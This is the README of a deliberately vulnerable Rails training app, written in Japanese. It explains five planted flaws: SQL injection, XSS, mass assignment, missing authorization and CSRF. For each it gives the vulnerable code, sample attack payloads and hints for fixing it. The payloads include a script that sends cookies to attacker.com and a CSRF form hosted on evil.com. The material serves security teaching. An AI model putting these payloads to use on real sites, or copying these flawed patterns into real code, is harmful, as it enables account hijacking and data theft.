このアプリケーションには意図的にセキュリティ脆弱性が含まれています。
- 🚫 本番環境へのデプロイは絶対に行わないでください
- ✅ ローカル環境での学習目的のみでの使用を推奨します
- 📚 Webアプリケーションセキュリティを学ぶための教材です
Security GymはRails初学者がWebセキュリティの脆弱性を学ぶための実践的な教材アプリケーションです。シンプルなタスク管理機能を持ちながら、現実のWebアプリケーションで起こりうる典型的なセキュリティ脆弱性を意図的に含んでいます。
このアプリを通して、以下のスキルを習得できます:
- ✅ Webアプリケーションの典型的な脆弱性を特定できる
- ✅ 各脆弱性がどのように悪用されるかを理解する
- ✅ セキュアなコードへ修正する方法を学ぶ
- ✅ Railsのセキュリティベストプラクティスを習得する
このアプリケーションには以下の5つの脆弱性が含まれています:
| # | 脆弱性 | CWE | 場所 | 深刻度 |
|---|---|---|---|---|
| 1 | SQL Injection | CWE-89 | TasksController#search | 🔴 High |
| 2 | Cross-Site Scripting (XSS) | CWE-79 | tasks/index.html.erb, tasks/search.html.erb | 🔴 High |
| 3 | Mass Assignment | CWE-915 | UsersController, TasksController | 🟡 Medium |
| 4 | 認可の欠如 | CWE-862 | TasksController#edit, #update, #destroy | 🔴 High |
| 5 | CSRF保護の不備 | CWE-352 | SessionsController | 🟡 Medium |
- Ruby 3.3.6
- Rails 8.0.3
- SQLite3
- Bundler
# 1. リポジトリのクローン
git clone <repository-url>
cd security_gym
# 2. 依存関係のインストール
bundle install
# 3. データベースのセットアップ
bin/rails db:create
bin/rails db:migrate
# 4. 開発サーバーの起動
bin/rails serverブラウザで http://localhost:3000 にアクセスしてください。
- トップページからユーザー登録
- メールアドレスとパスワードでログイン
- タスク一覧から**「新しいタスクを作成」**
- タスクを作成して基本機能を確認
以下の順番で学習することをお勧めします:
ステップ1: アプリを動かす
↓
ステップ2: 脆弱性を試す
↓
ステップ3: 脆弱性を理解する
↓
ステップ4: セキュアなコードに修正する
↓
ステップ5: 修正を検証する
まずは普通にアプリを使ってみましょう:
- ユーザー登録してログイン
- タスクを作成・編集・削除
- タスクを検索
- 基本的な機能を理解する
次のセクション「🔓 脆弱性ガイド」を参考に、実際に脆弱性を試してみましょう。
脆弱性を試した後、以下を考えてみましょう:
- ❓ なぜこのコードが脆弱なのか?
- ❓ どのような攻撃が可能か?
- ❓ どのような被害が想定されるか?
- ❓ 実際のWebサービスでこの脆弱性があったらどうなるか?
理解できたら、実際にコードを修正してみましょう:
bin/brakemanを実行してセキュリティスキャンを行う- 脆弱なコードを特定する
- セキュアなコードに書き換える
- テストを書いてセキュリティを保証する
修正後、必ず検証しましょう:
- ✅ 攻撃が成功しないことを確認
- ✅ 正常な機能は動作することを確認
- ✅ Brakemanで再スキャンして警告が消えたか確認
- ✅ テストが通ることを確認
各脆弱性の詳細な説明、試し方、修正のヒントを以下に示します。
app/controllers/tasks_controller.rbのsearchアクション
def search
query = params[:query]
@tasks = Task.where("title LIKE '%#{query}%'")
end検索フォームで以下を入力してみてください:
' OR '1'='1
すべてのタスク(他のユーザーのタスクも含む)が表示されます。
より高度な攻撃例:
' UNION SELECT id, 'hacked' as title, 'hacked' as description, user_id, created_at, updated_at FROM users--
- パラメータ化されたクエリを使用する
- ActiveRecordの安全なメソッド(
wherewith placeholder)を使用する - ユーザー入力を直接SQL文に埋め込まない
参考:Rails Security Guide - SQL Injection
app/views/tasks/index.html.erbapp/views/tasks/search.html.erb
<%= raw task.title %>
<!-- または -->
<%= task.description.html_safe %>タスクのタイトルに以下を入力してみてください:
<script>alert('XSS Attack!')</script>タスク一覧を表示すると、アラートが表示されます。
より実害のある例:
<script>
// Cookieを盗む
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>html_safeやrawを削除する- Railsのデフォルトのエスケープ機能を使う
- 信頼できない入力は必ずエスケープする
- Content Security Policy (CSP) を設定する
app/controllers/users_controller.rbのcreateアクションapp/controllers/tasks_controller.rbのcreate,updateアクション
def create
@user = User.new(params[:user])
# ...
endブラウザの開発者ツールを使って、ユーザー登録フォームに追加のフィールドを挿入:
<input type="hidden" name="user[admin]" value="true">もしUserモデルに admin カラムがあれば、自分を管理者にできてしまいます。
curlでの攻撃例:
curl -X POST http://localhost:3000/users \
-d "user[email]=attacker@example.com" \
-d "user[password]=password" \
-d "user[admin]=true"- Strong Parameters を使用する
- 許可する属性を明示的に指定する
permitメソッドで許可リストを作成する
参考:Rails Guide - Strong Parameters
app/controllers/tasks_controller.rbのedit,update,destroyアクション
def edit
@task = Task.find(params[:id]) # 所有者チェックなし
end- ユーザーAとユーザーBを作成
- ユーザーAでログインし、タスクを作成(例:ID=1)
- ユーザーBでログイン
- URLを直接入力:
http://localhost:3000/tasks/1/edit
ユーザーBが、ユーザーAのタスクを編集・削除できてしまいます。
- タスクが現在のユーザーに所属しているか確認する
current_user.tasks.find(params[:id])を使用する- before_actionでの認可チェックを実装する
- Punditなどの認可ライブラリを検討する
参考:OWASP - Broken Access Control
app/controllers/sessions_controller.rb
class SessionsController < ApplicationController
skip_forgery_protection
# ...
end外部サイトから以下のようなHTMLでログアウトさせることができます:
<!-- 攻撃者のサイト(evil.com)に配置 -->
<form action="http://localhost:3000/logout" method="post">
<input type="submit" value="Click here for a prize!">
</form>ユーザーがボタンをクリックすると、意図せずログアウトされてしまいます。
skip_forgery_protectionを削除する- RailsのデフォルトのCSRF保護を有効にする
form_withを使用して自動的にCSRFトークンを含める- APIの場合は、トークンベース認証を使用する
参考:Rails Security Guide - CSRF
# 開発サーバーの起動
bin/rails server
# コンソールの起動
bin/rails console
# テストの実行
bin/rails test
# 特定のテストファイルを実行
bin/rails test test/models/user_test.rb
# セキュリティスキャン(Brakeman)
bin/brakeman
# コードスタイルチェック(RuboCop)
bin/rubocop
# データベースのリセット
bin/rails db:reset
# ルーティングの確認
bin/rails routes
# Gem脆弱性チェック
bundle auditsecurity_gym/
├── app/
│ ├── controllers/
│ │ ├── application_controller.rb # 認証ヘルパー
│ │ ├── users_controller.rb # Mass Assignment 脆弱性
│ │ ├── sessions_controller.rb # CSRF 脆弱性
│ │ └── tasks_controller.rb # SQL Injection, 認可の欠如
│ ├── models/
│ │ ├── user.rb # ユーザーモデル
│ │ └── task.rb # タスクモデル
│ └── views/
│ ├── tasks/
│ │ ├── index.html.erb # XSS 脆弱性
│ │ └── search.html.erb # XSS 脆弱性
│ ├── users/
│ └── sessions/
├── config/
│ ├── routes.rb # ルーティング定義
│ └── database.yml # データベース設定
├── db/
│ ├── migrate/ # マイグレーションファイル
│ └── schema.rb # データベーススキーマ
├── test/ # テストファイル
├── CLAUDE.md # Claude Code用プロジェクト情報
└── README.md # このファイル
- Ruby on Rails Security Guide - Railsの公式セキュリティガイド
- OWASP Top 10 - Webアプリケーションの主要なセキュリティリスク
- Rails API Documentation - Rails API リファレンス
- CWE - Common Weakness Enumeration - 脆弱性の分類体系
- Brakeman - Railsセキュリティスキャナー
- bundler-audit - Gem脆弱性チェック
- OWASP ZAP - Webアプリケーション脆弱性スキャナー
- 「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」徳丸浩
- 「Railsガイド セキュリティ編」
A: 絶対にダメです! このアプリは教育目的で作られており、意図的に脆弱性を含んでいます。本番環境にデプロイすると、実際の攻撃を受ける可能性があります。
A: 素晴らしいです! 次のステップとして:
- テストを書いてセキュリティを保証する
- 他の脆弱性を探す(例:レート制限の欠如、セッション管理の問題、Insecure Direct Object Reference など)
- Brakemanで完全スキャンを実行する
- 実際のプロジェクトにセキュリティベストプラクティスを適用する
A: 以下を参考にしてください:
- 各脆弱性の「💡 修正のヒント」セクションを読む
- Rails Security Guide を読む
- Brakeman の出力と推奨事項を確認する
- OWASP Top 10 の解説を読む
- コミュニティやメンターに質問する
A: 意図的に脆弱性を含んでいるため、初期状態では複数の警告が表示されます。これらの警告を一つずつ解消していくことが学習の目標です。
A: 以下のベストプラクティスを守りましょう:
- Strong Parameters を常に使用する
- ユーザー入力を信用しない(常にバリデーション・エスケープ)
- ActiveRecord の安全なメソッドを使う(生SQLを避ける)
- 認証と認可を適切に実装する
- CSRF保護を有効にする
- Brakeman を CI/CD パイプラインに組み込む
- 定期的にGemの脆弱性をチェックする(bundler-audit)
A: Pull Request歓迎です! ただし、以下の点に注意してください:
- 教育目的であることを明確にする
- 脆弱性の場所と種類をドキュメント化する
- 修正のヒントも一緒に提供する
MIT License
このソフトウェアは教育目的でのみ提供されます。作者は、このソフトウェアの使用によって生じたいかなる損害についても責任を負いません。
本アプリケーションを悪用して他者のシステムを攻撃することは違反行為です。必ずローカル環境でのみ使用してください。
このプロジェクトは教育目的です。改善提案やバグ報告、新しい脆弱性の追加などは歓迎します。
Happy Learning! 🎓🔒
セキュリティは一度学んだら終わりではありません。常に最新の脅威とベストプラクティスを学び続けましょう!